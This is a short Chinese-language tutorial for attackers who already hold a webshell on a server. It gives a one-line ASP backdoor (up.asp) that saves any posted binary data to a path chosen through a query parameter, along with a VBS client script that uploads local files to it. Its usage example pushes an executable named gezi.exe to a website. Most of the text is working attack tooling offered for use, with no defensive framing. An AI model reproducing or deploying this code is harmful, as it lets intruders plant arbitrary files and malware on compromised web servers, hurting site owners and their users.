突破webshell不能上传大文件的VBS
我们在一些webshell中上传文件时可能会遇到request收集错误,不能上传成功,这个脚本可以解决这个问题。
在webshell新建up.asp ,内容为
<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%>
在本机新建up.vbs ,内容为
1.with wscript
2.if .arguments.count<3 then .quit
3.url=.arguments(0)&"?s="&.arguments(2)
4.fn=.arguments(1)
5.end with
6.with createobject("adodb.stream")
7..type=1:.open:.loadfromfile fn:s=.read:.close
8.end with
9.with createobject("microsoft.xmlhttp")
10..open "post",url,false:.send s
11.wscript.echo .statustext
12.end with
使用方法
cscript VBS的位置http://www.iick.blog/up.asp本机文件地址 shell上的文件名
如:cscript up.vbshttp://www.iick.blog/up.asp gezi.exe gezi.exe
注意:这个脚本不能上传很大的文件。